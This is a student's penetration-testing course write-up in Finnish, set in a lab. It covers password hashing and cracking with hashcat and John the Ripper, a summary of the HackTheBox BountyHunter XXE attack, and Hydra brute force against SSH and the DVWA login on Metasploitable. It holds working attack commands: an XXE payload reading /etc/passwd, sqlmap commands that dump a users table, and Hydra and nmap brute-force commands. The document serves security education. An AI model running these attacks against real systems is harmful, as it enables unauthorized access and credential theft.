H6: Hunter2
Tehtävänanto: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h6-hunter2
Sisällysluettelo
- H6: Hunter2
- z) Tiivistä: The Art of Hacking: Hacking User Credentials
- z) Tiivistä: HtB eläköitynyt esimerkki BountyHunter
- a) Kolme tiivistettä
- b) Hydra vs SSH
- c) Kokeile salasanoja
- d) Tee oma salasanalista
- e) Murra zip-paketin salasanasuojaus
- f) Murra jonkin muun tiedoston suojaus
- g) Salasanan taakse / ei julkiseen nettiin
z) Tiivistä: The Art of Hacking: Hacking User Credentials
- Datan säilöminen ja siirtäminen vaativat molemmat suojaustoimenpiteitä
- Low hanging fruit:
- Default pws, Pw reuse, Pws like admin, root, etc, Simple pws
- MITM:
- Against clear text protocols
- Relay attacks - directly from device
- Against ciphered protocols
- Brute Forcing: Medusa, THC-Hydra, Brutus, Metasp(l?)oit, Dirbuster, wfuzz
- Enumerating users: SMB/NetBIOS/SAMBA, Nmap scripting engine, Metasploit auxilary/scanner/smb/smb_enumusers
- PW säilöntä:
- Hashing: selkoteksti -> hashing algoritmi -> kryptattu viesti
- PW kräkkäys helppoa koska:
- CPU:n lisäksi GPU:t käytössä
- Heikot algoritmit
- Sanakirjat (dictionaries) kuten sateenkaaritaulut (rainbow tables) ja tietomurrot joiden pohjalta laadittu salasanalistoja
- Kuorman jakaminen CPU:den kesken
- Windowsissa ei suolausta (salt) salasanoissa, toisin kuin Linuxissa
JtR:
john # Näyttää JtR version ja optiot
john salasanalista.txt # aloittaa kräkkäyksen
john --show --format=nt salasanalista.txt # näyttää nt-formaattia olevat kräkätyt pwt
john --rules --wordlist=/usr/share/john/password.lst --format=lm salasanalista.txt
- Windowsissa entuudesta ollut hash LM mutta nykyisin NT, joka on turvallisempi, Windows käyttää molempia
- LM jakaa salasanat kahtia ja tallentaa ne suurin kirjaimin
- john.pot säilöö kaikki kräkätyt slsanat ja niiden hashit, john.rec missä lopetit kräkkäyksen
Hashcat
https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_06/
- GPU-tuki, 200+ hashing algoritmia, kaikilla oma fläginro
# LM pw kräkking, NT flägillä -m 1000
hashcat --potfile-path cracked.pot -m 3000 pw_hashes.txt -a 3
# --show flägi näyttää kräkätyt pwt, --username kenelle pw kuuluu
PW:den parantaminen
- Kaksi näkökulmaa: käyttäjä ja organisaatio
- Kryptattujen salasanojen suolaus
- Pidemmät salasanat
- Kaksitahoinen tunnistautuminen
Hacking DBs
(Ei ollut enää tehtävän scopessa mutta tuli vahingossa tehtyä)
- DBt säilövät tärkeimmän tiedon
- DB:t rakentuvat SQL:lle ja tauluille joita yhditää avaimet
- Sarakkeilla kenttien nimet, riveillä data
Basics MySQL
mysql --host=localhost --user=root --password=lab
# sisällä kannassa
SELECT @@version
show tables;
desc tbl_users;
SELECT username FROM tbl_users;
SELECT password FROM tbl_users;
SELECT credit_card FROM tbl_users;
UPDATE tbl_users SET credit_card = 'null' WHERE id = 1;
SELECT credit_card FROM tbl_users;
Attacing DBs
- SQL injektiot
- DoS
- Authentication / Autherization attacks
- default pws
- permissions misconf
- DB recon:
- nmap: usr/share/nmap/scripts ls *sql*
Nmap
## skannataan db
nmap -p 3306 --script="mysql-info" 127.0.0.1
## palauttaa kannan käyttäjänimiä
nmap -p 3306 --script="mysql-enum" 127.0.0.1
## brute force attack
nmap -p 3306 --script="mysql-brute" 127.0.0.1
Manual SQL injection
- Löydä kenttä
- Kokeile ‘
- Luo kysely
## probing bd
sqlmap -u localhost?view=id2
## id is vulnerable
## Yrittää löytää db:t
sqlmap -u localhost?view=id2 --dbs
## Kokeilee löydää taulut dbstä
sqlmap -u localhost?view=id2 --tables
#
sqlmap -u localhost?view=id2 --columns -T tbl_users
#
sqlmap -u localhost?view=id2 --dump -T tbl_users
Automated Scanners
- Nessus, Nexpose, Qualys, Imperva Scuba
- Lähettää kyselyjä palvelimelle selvittääkseen tietokannan ja version
- Etsii mitä hyökkäyksiä kantaan voidaan lähettää
Defendin DBs
- Prepared statemenst
- Escape input
- Least privilege auth
- DB patched
- No direct network access
- Segmentation
- Secure zone, limited access
- Backup, DB server, Web
- Encryption kaikissa vaiheissa tiedonvälitystä, myös lähiverkon sisällä
- Kryptaus myös säilöessä dataa
z) Tiivistä: HtB eläköitynyt esimerkki BountyHunter
https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html
Valitaan esimerkiksi ensimmäinen https://0xdf.gitlab.io/ kone jonka base points on “Easy”. Lisäksi siitä löytyy IppSec:n esimerkkiratkaisuvideo https://www.youtube.com/watch?v=5axsDhumfhU. Lisäksi se on verkkosivu jolle murtautuminen on aina mielenkiintoista (että osaisi siltä suojautua).
Recon
# Skannaa kaikki portit osoitteesta 10.10.11.100 10000pakettia/s ja tallenna tiedostoon nmap-alltcp
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.100
# Skannausraportti
Nmap scan report for 10.10.11.100
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Skannaa portit 22 ja 80 versioden tunnistuksella ja default safe skripteillä
nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.11.100
# Porttiraportti
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Sen jälkeen selailee manuaalisesti sivua ja menee osoitteeseen /log_submit.php, jonka jälkeen käyttää Feroxbusteria php-sivua vastaan. FB:tä käytetään Forced Browsingiin.
# Forced browse tässä osoitteessa oleva php-sivu
feroxbuster -u http://10.10.11.100 -x php
# Tuloksissa näkyy db.php
200 0l 0w 0c http://10.10.11.100/db.php
Response headers vahvistaa että Apache-versio on minkä nmap raportoi. Post request minkä bounty report lähettää:
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 227
Origin: http://10.10.11.100
DNT: 1
Connection: close
Referer: http://10.10.11.100/log_submit.php
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UaXRsZTwvdGl0bGU%2BCgkJPGN3ZT5DV0U8L2N3ZT4KCQk8Y3Zzcz45Ljg8L2N2c3M%2BCgkJPHJld2FyZD4xLDAwMCwwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
Päättelee että base64-koodattua ja url-koodattua, = muuttuu %3d. Käyttää Burb Decoderia, decode as url ja sitten base64. Tulos on XML:ää.
XML External Entities attack
Jos sivu ei käsittele oikein XML inputtia, hyökkääjä voi syöttää lukea ja muokata dataa. Server-Side Request Forgeries (SSRF) on tekniikan edistyneempää käyttöä, yksinkertaisessa XXE:ssä tiedostojen lukeminen.
Esimerkki
The first line is very similar to what is sent in the POST for BountyHunter, and the last line is the XML data itself. The middle lines are defining an entity which includes the variable &file which is the contents of the /etc/passwd file. This allows the user to send in the contents of files they can’t read as input, and if that input is displayed back, then the exploit allows for file read.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
POC on BountyHunter
Tärkeää noudattaa alkuperäisen datan rakennetta:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
<title>&xxe;</title>
<cwe>CWE</cwe>
<cvss>9.8</cvss>
<reward>1,000,000</reward>
</bugreport>
The DOCTYPE name (foo) and the ELEMENT name (bar) are not important. It’s the entity that’s defined, in this case, xxe, which will be the contents of /etc/passwd that matters. I’ll reference that value later with the variable name proceeded by & and ending with ;. I’ll throw that into a file and base64 encode it (-w0 to prevent line wrapping):
base64 -w0 xxe-passwd
# generoi salasanan base64 koodauksella
…tbcontinued https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html#xxe-file-read
a) Kolme tiivistettä
Tee 3 tiivistettä eri ohjelmilla ja arvaa ne hashcatilla. Tiivistä jokin oma sana, ei sanaa ‘hashcat’. Voit käyttää tässä demossa itse tehtyä sanakirjaa, jossa on oikea ratkaisu muutaman väärän joukossa. Kuvaile myös, miten teit tiivisteet.
Seurataan ohjeita: https://miloserdov.org/?p=1272.
Valmiit ohjelmat
Linuxeissa on valmiina ohjelmia tiivisteiden laskemiseksi:
- b2sum – в compute and check BLAKE2 (512-bit) message digest
- cksum – checksum and count the bytes in a file
- md5sum – compute and check MD5 (128-bit) message digest
- sha1sum – compute and check SHA1 (160-bit) message digest
- sha224sum – compute and check SHA224 (224-bit) message digest
- sha256sum – compute and check SHA256 (256-bit) message digest
- sha384sum – compute and check SHA384 (384-bit) message digest
- sha512sum – compute and check SHA512 (512-bit) message digest
Ohjelmat toimivat kaikki samalla tavalla, niille annetaan tiedosto tai merkkijono joka tiivistetään. Jos käyttää echo-komentoa, täytyy käyttää -n flägiä tai printf-komennon kanssa '%s'
jotka estävät rivittämisen. Googletetaan ja luetaan muista lähteistä mitkä ovat suosituimpia tiivisteitä, top 3 2011 https://www.sciencedirect.com/topics/computer-science/hashing-algorithm:
- MD5, laajasti käytetty mutta jo tuolloin pidetty haavoittuvana
- SHA-1, alkoi korvata MD5:sta haavoittuvuuden jälkeen
- SHA-2, kokoelma tiivistealgoritmeja (SHA-224, SHA-256, SHA-384, SHA-512) mutta ei vielä laajasti käytössä
Ja kymmenen vuotta myöhemmin käytetyimmät algoritmit datan integriteetin tarkastamiseen 2021: https://www.2brightsparks.com/resources/articles/introduction-to-hashing-and-its-uses.html
- MD5, edelleen laajasti käytössä
- SHA-2, nyt jo laajasti käytetty, NSA:n kehittämä, sisältää kuusi tiivistefunktiota:
- SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256
- CRC32, Cyclic Redundancy Check, virheentunnistuskoodi datan muutoksille. Tuottaa aina saman tiivisteen. Käytetty harvoin muualla kuin ZIP-tiedostoissa ja FTP-palvelimilla nykyisin.
Pitäisi olla sama komento kaikille, kokeillaan.
# MD5 tiiviste merkkijonolle "salasana" tiivisteet.txt tiedostoon
└─$ echo -n 'salasana' | md5sum > tiivisteet.txt
# lisää sha-1 tiiviste tiedostoon
└─$ echo -n 'salasana' | sha1sum >> tiivisteet.txt
# lisää sha-2 tiiviste tiedostoon
└─$ echo -n 'salasana' | sha224sum >> tiivisteet.txt
# tulostetaan tehty tiedosto:
└─$ cat tiivisteet.txt
e7e941b1f09f266540c6780db51d5f58 -
c7e6477ecef29604380f3185e205c3cc4ef565f3 -
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92 -
Katsotaan tämän jälkeen ohjelmia jotka laskevat useampia tiivisteitä kerralla ja muuta.
Omnihash, legit hash?
# alustus
sudo apt-get update
sudo apt install pip
# asennetaan omnihash
sudo pip install omnihash[sha3,pyblake2]
# luodaan tiiviste "salasana":sta
sudo omnihash salasana
# omnihashin luomat tiivisteet
BLAKE2B: 46bd62fc256e709a6a673956e2b5c6baf33d99c74b668a49e1c20e5c4753648fd99b9e8bc81cea35103572f276487ac4dd0e484909507ba9a0ec053cbffbd995
BLAKE2S: c6bff1de63d2be14a07f4897a7d8ba145bdb73542b1daac2095480067713d2e1
MD4: 761870a6cc88f886222864497d326ae1
MD5: e7e941b1f09f266540c6780db51d5f58
MD5-SHA1: e7e941b1f09f266540c6780db51d5f58c7e6477ecef29604380f3185e205c3cc4ef565f3
RIPEMD160: 0d758bf91634037876d7c0d0c759c0b8c3aca1d4
SHA1: c7e6477ecef29604380f3185e205c3cc4ef565f3
SHA224: 9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92
SHA256: 075a421a01fe4984b4ade4a89afec861f9a435f54b5bced6d0a0e5a8792e521c
SHA384: 2730285e027c93234b4560c00e6e0a5d1404dadbd1bf4d785e21b766f4904879bf6e758377b7340eb2b55709f7562ac4
SHA3_224: 97651e46f41cd416a2d853365907c8e0c1d8d6a25e115110c2f3784e
SHA3_256: 4ec6970d138c1ce74ab481781caef28f88e3edd346205e890dd2c806b0255910
SHA3_384: 5e63e391dfbab832198bb34d58f0d78828e20ff3c04d25764db340483cabe38662041b5cc804c72ce682d52f765bac70
SHA3_512: 7014af3107a9fc7eeead0632d7a861883748432b160670264833504313416f34fd5a401c53ee33f8cf0a75dc223dbebb8d72c1b9957da04fe3ceecaeb7b1a262
SHA512: 0e8e646b38387254e1f677d4df3ca290b03318440b87f4d45d67fe7b7c76a6316cf616fb155a61bb489c8eae829b837ae460421c31c450bddc02daee1ee3d609
SHA512_224: b2abd31ea1bc1a2800bd4eee4dc2e9322837ca4aa985bcfbf2fc4b6f
SHA512_256: 9fcf553a33a926588ef9111d6a1cb71eb5dac0b0738d50ca4e29ad1c02518f9c
Asennuksen jälkeen huomataan että kaverin omnihash-ohjelmaa ei löydy: https://www.kali.org/tools/ vaan: https://en.kali.tools/all/?tool=947 joten poistetaan ohjelma sudo pip uninstall omnihash[sha3,pyblake2]
ja asennetaan ohjeen seuraavat kolme ohjelmaa jotka löytyvät virallisesta Kalin dokumentaatiosta.
Hashdeep
# asennetaan hashdeep
sudo apt install hashdeep
# tulostetaan salasana kryptattuna luetelluilla hasheilla pilkuilla eroteltuna
└─$ echo -n 'salasana' | hashdeep -c md5,sha1,sha256,tiger,whirlpool
%%%% HASHDEEP-1.0
%%%% size,md5,sha1,sha256,tiger,whirlpool,filename
## Invoked from: /home/kali/hash/hashdeep
## $ hashdeep -c md5,sha1,sha256,tiger,whirlpool
##
8,e7e941b1f09f266540c6780db51d5f58,c7e6477ecef29604380f3185e205c3cc4ef565f3,075a421a01fe4984b4ade4a89afec861f9a435f54b5bced6d0a0e5a8792e521c,c02400add3bdb980d35c6fb8c810721e0ce674f7d59b6cc1,4558bf30fdf770acbb9b8fc2249e129cd2dc9b4d58970668c9662cc798481cc0a046dec601025154817e6aaa4c82e1c51a6fe5f09d2a68d81f37ab3a378d1e72,stdin
Hasher hashes hash?
Hasher on jälleen dokumentaation kirjoittajan ohjelma kuten Omnihash, eikä se toimi esimerkkikomennolla, joten poistetaan se.
└─$ hashes -G --plaintext 'test' --hash-type md5 130 ⨯
Traceback (most recent call last):
File "/usr/local/bin/hashes", line 5, in <module>
from hashes.__main__ import main
File "/usr/local/lib/python3.9/dist-packages/hashes/__main__.py", line 8, in <module>
from hashes.common import helpers
File "/usr/local/lib/python3.9/dist-packages/hashes/common/helpers.py", line 29
print "#" * 80 ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("#" * 80)?
└─$ sudo pip uninstall hashes -y
Hashrat
Syvällisin kuvaus dokumentaatiossa on Hashratin käytöstä. Hashrat kuulostaa myös siltä että sillä voisi olla tekemistä Hashcatin kanssa.
hashrat # avaa stdin
salasana # kaksi kertaa ctrl + d ettei uutta riviä
# lopputulos, tiiviste salasanan perässä
└─$ hashrat
salasanae7e941b1f09f266540c6780db51d5f58
# verrataan lopputulosta aiempiin md5 generoituihin hasheihin, ja todetaan että sama tulos
└─$ echo -n 'salasana' | md5sum
e7e941b1f09f266540c6780db51d5f58 -
Hashcat - tiivisteiden purkaminen
Kokeillaan ensin tunnistaa hashcatilla tiivisteet.txt:n tiivistealgoritmit:
└─$ hashid -m tiivisteet.txt
--File 'tiivisteet.txt'--
Analyzing 'e7e941b1f09f266540c6780db51d5f58 -'
[+] Unknown hash
Analyzing 'c7e6477ecef29604380f3185e205c3cc4ef565f3 -'
[+] Unknown hash
Analyzing '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92 -'
[+] Unknown hash
--End of file 'tiivisteet.txt'--
Selvästi tiedostossa on jotain pielessä - rivipääte -. Poistetaan rivipäätteet, etsitään ohjeet sen tehokkasti tekemiseksi jos kyseessä olisi isompi tiedosto: https://www.cyberciti.biz/faq/sed-remove-last-character-from-each-line/. Ratkaisu on käyttää Stream Editoria (sed).
# poistetaan viimeinen kirjain tiivisteet.txt:stä
└─$ sed 's/.$//' tiivisteet.txt > tiivisteet2.txt
# käsittääkseni tämä olisi riittänyt
# -i flägi in-place
# s/ https://www.gnu.org/software/sed/manual/html_node/The-_0022s_0022-Command.html
# The empty regular expression ‘//’ repeats the last regular expression match (the same holds if the empty regular
# expression is passed to the s command). Note that modifiers to regular expressions are evaluated when the regular
# expression is compiled, thus it is invalid to specify them together with the empty regular expression.
└─$ sed -i 's/.$//' tiivisteet.txt
# tulostetaan muokattu tiivisteet.txt
└─$ cat tiivisteet.txt
e7e941b1f09f266540c6780db51d5f58
c7e6477ecef29604380f3185e205c3cc4ef565f3
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92
Joka tapauksessa, nyt kaksi oikein rivitettyä tiiviste-tiedostoa. Kokeillaan Hashcatia uudestaan.
└─$ hashid -m tiivisteet.txt
--File 'tiivisteet.txt'--
Analyzing 'e7e941b1f09f266540c6780db51d5f58'
[+] MD2
[+] MD5 [Hashcat Mode: 0]
[+] MD4 [Hashcat Mode: 900]
[+] Double MD5 [Hashcat Mode: 2600]
[+] LM [Hashcat Mode: 3000]
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600]
[+] Skype [Hashcat Mode: 23]
[+] Snefru-128
[+] NTLM [Hashcat Mode: 1000]
[+] Domain Cached Credentials [Hashcat Mode: 1100]
[+] Domain Cached Credentials 2 [Hashcat Mode: 2100]
[+] DNSSEC(NSEC3) [Hashcat Mode: 8300]
[+] RAdmin v2.x [Hashcat Mode: 9900]
Analyzing 'c7e6477ecef29604380f3185e205c3cc4ef565f3'
[+] SHA-1 [Hashcat Mode: 100]
[+] Double SHA-1 [Hashcat Mode: 4500]
[+] RIPEMD-160 [Hashcat Mode: 6000]
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn [Hashcat Mode: 190]
[+] Skein-256(160)
[+] Skein-512(160)
Analyzing '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92'
[+] SHA-224
[+] Haval-224
[+] SHA3-224
[+] Skein-256(224)
[+] Skein-512(224)
--End of file 'tiivisteet.txt'--
Ehkä hieman yllättävästi MD5, ns. helpoin algoritmi oli vasta toinen ehdotus, sen sijaan sha-1 ja -2 olivat ensimmäiset ehdotukset. MD2:lle ei tosin ole omaa modea, hmm, ehkä se sisältyy MD5:seen.
Luetaan sitten Hashcat manuskaa ja mietitään missä muodossa hyökkäys tehdään salasanoja vastaan.
man hascat
# Hyökkäystavat:
Attack mode
0 = Straight
1 = Combination
3 = Brute-force
6 = Hybrid Wordlist + Mask
7 = Hybrid Mask + Wordlist
# Tiivistetyypit:
Hash types
0 = MD5
10 = md5($pass.$salt)
... lisää
100 = SHA1
110 = sha1($pass.$salt)
... lisää
# ... mutta SHA224:sta ei tunnu löytyvän hashcat manista, googletetaan: https://hashcat.net/forum/thread-5747.html
└─$ hashcat --help | egrep -i 'sha.*22'
1300 | SHA2-224 | Raw Hash
17300 | SHA3-224 | Raw Hash
Valitaan hyökkäystyypiksi 0 eli Straight eli sanakirjahyökkäys (seuraavaksi pitää luoda sanakirja) ja tyypiksi tietty tiivisteen mukaan joku kolmesta, 0 eli MD5, 100 eli SHA1 tai 1300 eli SHA2-224.
# lisätään selkoteksti.txt tiedostoon lisää sanoja oikean salasanan kaveriksi
└─$ cat >> selkoteksti.txt
salasana2
salaisuus
admin
passu
password
root
nevehööd
# tiiviste md5 hyökkäystyyppi sanakirja
hashcat -m 0 -a 0 'e7e941b1f09f266540c6780db51d5f58' selkoteksti.txt
# tulokset
e7e941b1f09f266540c6780db51d5f58:salasana
Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: e7e941b1f09f266540c6780db51d5f58
Time.Started.....: Sat Dec 4 08:19:00 2021 (0 secs)
Time.Estimated...: Sat Dec 4 08:19:00 2021 (0 secs)
Guess.Base.......: File (selkoteksti.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 58 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8/8 (100.00%)
Rejected.........: 0/8 (0.00%)
Restore.Point....: 0/8 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: salasana -> nevehööd
Started: Sat Dec 4 08:18:59 2021
Stopped: Sat Dec 4 08:19:02 2021
Sama lopuille, ajan ja tilan säästämiseksi pelkät komennot:
# hashcat -m tiivistetyyppi, -a hyökkäystapa, 'tiiviste', sanakirja
hashcat -m 100 -a 0 'c7e6477ecef29604380f3185e205c3cc4ef565f3' selkoteksti.txt
# tulos
c7e6477ecef29604380f3185e205c3cc4ef565f3:salasana
# samma på SHA-224:lle
hashcat -m 1300 -a 0 '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92' selkoteksti.txt
# tulokset
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92:salasana
Vielä todoksi syssymmälle jää tunnilla testattu suolatun tiivisteen murtaminen, mikä ei silloin vielä toiminut. Todennäköisesti tiivistetyyppi oli vain väärä ja olisi pitänyt antaa tiivistetyypin lisäksi salt.
b) Hydra vs SSH
Kokeile Hydraa ssh:ta vastaan.
- Voit kokeilla THC Hydraa esim. Metasploitable 2:n.
Avataan Hydran dokumentaatio: https://www.kali.org/tools/hydra/. Käynnistetään Metasploitable2 maaliksi samaan verkkoon.
ping 8.8.8.8
ping 192.168.233.3
cat /usr/share/wordlists/metasploit/unix_passwords.txt | less
man hydra
# default -t tasks/threads on 16 joten ei käytetä esimerkin 6:tta
# ajetaan hyökkäys metasploitablea vastaan osoitteessa 192.168.233.3
# yritetään logata roottina sisään ssh:lla, sanakirjana unix_passwords.txt
└─$ hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.233.3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 08:56:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1009 login tries (l:1/p:1009), ~64 tries per task
[DATA] attacking ssh://192.168.233.3:22/
1 of 1 target completed, 0 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 08:56:29
# eka yritys ei edes käynnisty,
# olisi pitänyt kuitenkin rajoittaa taskeja vissiin,
# kokeillaan esimerkin kuutta taskia -t 6 flägillä
└─$ hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.233.3 -t 6
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 08:57:52
[DATA] max 6 tasks per 1 server, overall 6 tasks, 1009 login tries (l:1/p:1009), ~169 tries per task
[DATA] attacking ssh://192.168.233.3:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 931 to do in 00:12h, 6 active
[STATUS] 50.33 tries/min, 151 tries in 00:03h, 858 to do in 00:18h, 6 active
[STATUS] 52.29 tries/min, 366 tries in 00:07h, 643 to do in 00:13h, 6 active
[STATUS] 51.50 tries/min, 618 tries in 00:12h, 391 to do in 00:08h, 6 active
[STATUS] 49.71 tries/min, 845 tries in 00:17h, 164 to do in 00:04h, 6 active
1 of 1 target completed, 0 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 09:17:57
Ei onnistunut. No kokeillaan hydraa omalla salasanalistalla koska tiedetään msfadmin - msfadmin käyttäjä - salasana tunnistetiedot. Kokeilun jälkeen tosin tajutaan että se ei ole ssh-käyttäjätunnus. Luetaan lisää ohjeita: https://charlesreid1.com/wiki/Metasploitable/SSH/Brute_Force. Kokeillaan helppoa ratkaisua, aiemmin on tallennettuna JtR:n jäljiltä erilaisia ssh-tunnistetietoja, katsellaan niitä ja käytetään niitä.
# käytetään samaa tiedostoa käyttäjä ja salasanatiedostona
hydra -L targets -P targets ssh://192.168.233.3 -t 4
# tämäkään ei mene läpi, katsotaan että ssh toimii
ssh sys@192.168.233.3 # pw: sys
# käyttäjätunnus ei ole oikea salasana
Noh, ainakin Hydraa on nyt kokeiltu SSH:ta vastaan, vaikkei sisään onnistuneesti päästykään.
c) Kokeile salasanoja
Kokeile salasanoja omaan weppilomakkeeseen. ??? Varmaankin kokeile salasanahyökkäyksiä omaan weppilomakkeeseen.
- Weppilomakkeeseen hyvä työkaluja ovat Hydra tai Fuff. Tarvittaessa voit tallentaa HTTP-pyynnön (request) ZAP:lla tai mitmproxylla.
- Voit koodata lomakkeen itse vaikkapa Python Flask:illa. Jos haluat valmiin lomakkeen, voit esim. asentaa Juice Shop -harjoitusmaalin.
Juice Shop olisi toisessa Kalissa asennettuna, mutta Metasploitablella on myös oma lomake, DVWA login sivu, jonka tunnarit on admin - password. Kokeillaan Hydraa tai Ffuf:ia sitä vastaan. Katsotaan ohjeita Hydra vs verkkolomake https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-web-form-passwords-with-thc-hydra-burp-suite-0160643/.
Haetaan lomakkeen parametrit:
- IP
- URL
- lomaketyyppi
- käyttäjätunnuskenttä
- salasanakenttä
- failure msg
Avataan ZAP. Tehdään yksi kirjautuminen käyttäjä - addd tunnistetiedoilla, saadaan tarvittavat parametrit ZAP:ssa:
POST http://192.168.233.3/dvwa/login.php HTTP/1.1
Referer: http://192.168.233.3/dvwa/login.php
username=k%C3%A4ytt%C3%A4j%C3%A4&password=addd&Login=Login
Ja sivulla “Login failed” failure msg.
Lomakkeita vastaan Hydra-hyökkäys pitää määritellä näin:
# muuten tuttua edellisestä harjoituksesta mutta lomakeparametrit ja failure msg ovat uutta
hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>
# muotoillaan esimerkin pohjalta, kokeillaan simppelisti pelkkää admin tunnusta vastaan jotain oikeaa listaa
# etsitään slslistoja
locate wordlist
# valitaan pieni, katsotaan monta slsanaa
└─$ wc -l /usr/share/dirb/wordlists/small.txt
959 /usr/share/dirb/wordlists/small.txt
# varmistetaan että 'password' mukana, näytä rivinro miltä löytyy (ei ole ihan ensimmäisten joukossa)
└─$ grep -w password -n /usr/share/dirb/wordlists/small.txt 2 ⨯
608:password
# pieni -l flägi merkitsemään yksittäistä tunnusta, käytetään pientä salasanalistaa, -V verboosiksi tulosteeksi
hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.233.3 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
...
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 11:15:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 959 login tries (l:1/p:959), ~60 tries per task
[DATA] attacking http-post-form://192.168.233.3:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[80][http-post-form] host: 192.168.233.3 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 11:15:45
Odotellaan, tässä saattaa mennä tovi. Mutta hydra onkin yllättävän nopea lomaketta vastaan, alle minuutissa kräkätty. SSH:ta vastaan meno oli paljon hitaampaa.
d) Tee oma salasanalista
Tee oma sanalista itse tekemästäsi ja keksimästäsi weppisivusta.
- Voit muuttaa sivun sanalistaksi vaikkapa cewl:lla tai omalla skriptillä. Älä käytä muiden sivuja esimerkkinä vaan tee oma sivu.
Luetaan mistä Cewlissä eli Custom Word List generatorissa on kyse: https://kalitut.com/cewl-custom-word-list-generator/. CeWL käy siis läpi annetun urlin annetun syvyyden laajuisesti ja palauttaa sanalistan jota voi käyttää salasanakräkkereissä kuten JtR ja Hydra.
Kokeillaan tätä Juice Shoppiin:
# Käynnistetään edellisviikolla haettu Juice Shop
cd juice-shop
npm start
firefox 'localhost:3000'
# Ajetaan CeWL sitä vastaan
└─$ cewl -w juicelist -m 3 -d 1 http://localhost:3000/
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
# listataan tulokset
└─$ cat juicelist
the
OWASP
Juice
Shop
Copyright
Bjoern
Kimminich
contributors
SPDX
License
Identifier
MIT
Probably
most
modern
and
